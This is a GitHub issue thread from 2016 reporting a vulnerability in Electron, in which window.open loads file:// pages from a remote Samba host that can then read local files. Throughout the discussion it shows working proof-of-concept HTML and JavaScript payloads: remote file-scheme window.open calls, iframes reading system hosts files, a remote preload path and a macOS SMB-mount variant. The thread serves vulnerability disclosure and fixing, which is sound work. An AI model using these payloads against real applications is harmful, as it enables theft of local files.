New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

window.open allows a malicious script to read arbitrary local files #5151

Closed
harupu opened this Issue Apr 14, 2016 · 21 comments

Comments

Projects
None yet
6 participants
@harupu
Copy link

harupu commented Apr 14, 2016

When allowpopups is enabled, injected script can load file scheme because electron override windowopen and don't check origin.

window.open("file://attacker.example.com/test.html");

Once a malicious script load exploit code by using file scheme, it can read any local files if file path is known:

<iframe src="file://localhost/c:/windows/system32/drivers/etc/hosts" onload="alert(iframe.contentDocument.body.innerHTML)" id="iframe"></iframe>

If a malicious script can get local user account name, it can reach sensitive information.

  • work around
    Main process can handle browser-window-created event. By using this event, developers can avoid to open insecure contents.

main.js

app.on('browser-window-created', function (event, window) {
  window.webContents.on('new-window', function(event, url, frameName, disposition, options) {
    console.log("new-window:"+url);
    var url = require('url').parse(url);
    if(url.protocol !== 'http:' && url.protocol !== 'https:' || url.hostname !== 'www.example.com') {
      event.defaultPrevented = true;
      console.log("Invalid URL:"+url);
    }
  });
  console.log("browser-window-created");
})
  • Electron version:0.37.5
  • Operating system:Windows 7

@harupu harupu changed the title window.open allows window.open allows a malicious script to read arbitrary local files Apr 14, 2016

@bengotow

This comment has been minimized.

Copy link
Contributor

bengotow commented Apr 14, 2016

Hey! This definitely seems like a good scenario to catch, but I'm not sure I understand. In your example, you're reading an HTML file from file://, not the internet, right? Does this exploit depend on malicious code already being on the user's computer, or is Electron translating window.open("file://attacker.example.com/test.html"); to window.open("http://attacker.example.com/test.html");?

@harupu

This comment has been minimized.

Copy link

harupu commented Apr 15, 2016

Usually, browsers prohibit to open file scheme from web pages on the internet but by using window.open, you can open file:// from the internet.
For example, followings on the internet (http://attacker.example.com/driver.html) don't work:

<a href="file://attacker.example.com/test.html">test</a>
<iframe src="file://attacker.example.com/test.html"></iframe>
<script>
location.href="file://attacker.example.com/test.html";
location.replace("file://attacker.example.com/test.html");
</script>

But, this works:

<script>
window.open("file://attacker.example.com/test.html");
</script>

This is caused by override.js:
https://github.com/electron/electron/blob/master/lib/renderer/override.js#L78

You can confirm it from developer console by typing funcation name:

> window.open
function (url, frameName, features) {
  var feature, guestId, i, j, len, len1, name, options, ref1, ref2, value
  if (frameName == null) {
    frameName = ''
  }
  if (features == null) {
    fe…
> location.replace
function () { [native code] }

An attacker have to use Samba server to handle file scheme like 'file://attacker.example.com/test.html'.

@laramies

This comment has been minimized.

Copy link

laramies commented Apr 15, 2016

Hi, with the same code as your example, I don't get any browser-window-created event for:

<iframe src="file://localhost/c:/windows/system32/drivers/etc/hosts" onload="alert(iframe.contentDocument.body.innerHTML)" id="iframe"></iframe>
It works for:

<script>window.open("index2.html","","nodeIntegration=1");</script>
Also I can't get the event for webviews.. Any idea why?

@harupu

This comment has been minimized.

Copy link

harupu commented Apr 15, 2016

It seems that window.open calls ipcRenderer.sendSync with 'ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN':
https://github.com/electron/electron/blob/master/lib/renderer/override.js#L138

Then, ipcMain handles this message and create new BrowserWindow on main process side.

I think other webview events and chromium native codes don't send such IPC events to main process and main process cannot catch.

@zcbenz

This comment has been minimized.

Copy link
Contributor

zcbenz commented Apr 15, 2016

In Electron the window.opener is not fully implemented, so even it is possible to use window.open to open a local file, it is impossible to get the content of it.

@laramies

This comment has been minimized.

Copy link

laramies commented Apr 15, 2016

@zcbenz how can I block something like this, assuming it is being injected by a XSS:

<iframe src="file://localhost/c:/windows/system32/drivers/etc/hosts" onload="alert(iframe.contentDocument.body.innerHTML)" id="iframe"></iframe>

Instead of an alert let's assume we send the file to a server via a post request for example.

@harupu

This comment has been minimized.

Copy link

harupu commented Apr 15, 2016

it is possible to use window.open to open a local file

window.open can open a remote file with file scheme. Then, it is possible to get contents of local files from a remote file because there is no same-origin policy when using file scheme.

@zcbenz

This comment has been minimized.

Copy link
Contributor

zcbenz commented Apr 15, 2016

Since this is basically the natural of file:// protocol, I don't think we are able to solve this without breaking web standards. In Electron users can use the protocol module to load the page with custom protocol, without the security problems of file:// protocol.

@laramies

This comment has been minimized.

Copy link

laramies commented Apr 15, 2016

@zcbenz protocol module will also apply to Preload, right? I am looking a solution to this #5173

@zcbenz

This comment has been minimized.

Copy link
Contributor

zcbenz commented Apr 15, 2016

Yeah preload scripts work in custom protocols.

@harupu

This comment has been minimized.

Copy link

harupu commented Apr 15, 2016

@zcbenz Same-origin policy is also an important element of web standards. In this case, a script of remote origin can read local resources in spite of different origins(hosts). We must check origin to follow same-origin policy rule when file scheme is used.
If it is difficult to implement, calling file:// from remote web pages should be prohibited. Standard browsers prohibit to call file:// from remote web pages.

@zcbenz

This comment has been minimized.

Copy link
Contributor

zcbenz commented Apr 15, 2016

Same-origin policy is enforced in remote pages in Electron, it is just window.open not following it (and we should fix it), but there is no security problems with it because the opener window can not access the content of new window in Electron.

@harupu

This comment has been minimized.

Copy link

harupu commented Apr 15, 2016

The opener window cannot access new window but new window load remote contents with file://. Then, remote contents with file:// can open local files and read it. I think It is security problem. file://attaker.example.com should be treated as a remote content.

@zcbenz

This comment has been minimized.

Copy link
Contributor

zcbenz commented Apr 15, 2016

Can you show how to load remote contents with file://? I tried window.open('file://github.com/') but it seems to open empty page?

@harupu

This comment has been minimized.

Copy link

harupu commented Apr 15, 2016

To show contents, we need a samba server and HTML contents. Since Electron doesn't show directory listing page, file path should be specified like file://192.168.56.101/public/test.html Unfortunately, I have no public samba servers and couldn't find public one... Could you please test it with your samba server?

@laramies

This comment has been minimized.

Copy link

laramies commented Apr 15, 2016

I just tried it, and I get:

Not allowed to load local resource: file://192.168.0.27/temp/test.html/

I have this in index.html:

<script>window.open('file://192.168.0.27/temp/test.html/')</script>

And this in test.html:

<html>
<body>
<h1>Hello</h1>
<iframe src="file://localhost/c:/windows/system32/drivers/etc/hosts" onload="alert(iframe.contentDocument.body.innerHTML)" id="iframe"></iframe>
</body>
</html>

Still the same can be achieved via loading a remote JS via e via Preload:

<webview src="http://www.test.com" preload="file:\\192.168.0.27\temp\test.js"></webview>

@zcbenz

This comment has been minimized.

Copy link
Contributor

zcbenz commented Apr 16, 2016

@harupu I see the problem now, I didn't know it is possible to access samba servers with file:// protocol. Thanks for the explanations!

@laramies

This comment has been minimized.

Copy link

laramies commented Apr 21, 2016

@zcbenz what will be the fix for this? enforcing SameOrigin in the Window.open? And what about Preloads? should they load only from local resources? I know I can use a protocol handler for file:/// but will be good to have a fix/option in Electron and not in my App. And the same for Iframes, I would like to respect SOP and prevent a XSS from doing something like:

<iframe src="file://localhost/c:/windows/system32/drivers/etc/hosts" onload="alert(iframe.contentDocument.body.innerHTML)" id="iframe"></iframe>
(instead of using alert an attacker will send the result to a server via an HTTP request)

Thanks again!

@zcbenz

This comment has been minimized.

Copy link
Contributor

zcbenz commented Apr 22, 2016

@laramies Disabling window.open for file:// in remote pages should be enough to fix this, of course enforcing same origin would be better. The preload problem will be gone once we fixed #3943, and currently preload script can only be a local file.

@harupu

This comment has been minimized.

Copy link

harupu commented Apr 22, 2016

The following is just FYI.
It seems that disabling window.open for file:// in remote pages is better than enforcing same origin policy on file://. :-(
I found this issue is a little difficult on mac. By using smb://, an attacker force a victim to mount remote samba server. This enable a malicious script to access remote server contents as local contents.
(I did't know mac doesn't allow to access to remote host by file scheme.)

window.open("smb://guest:guest@192.168.56.104/public/");
setTimeout(function(){
  window.open("file:///Volumes/public/test.html");
}, 10000);

test.html:

<iframe src="file:///etc/hosts" onload="alert(this.contentDocument.body.innerHTML)"></iframe>

@sofianguy sofianguy added bug 🐞 and removed fixme/bug 🐞 labels Apr 4, 2018

@codebytere

This comment has been minimized.

Copy link
Member

codebytere commented Sep 23, 2018

This has been fixed in recent versions of Electron.

@codebytere codebytere closed this Sep 23, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment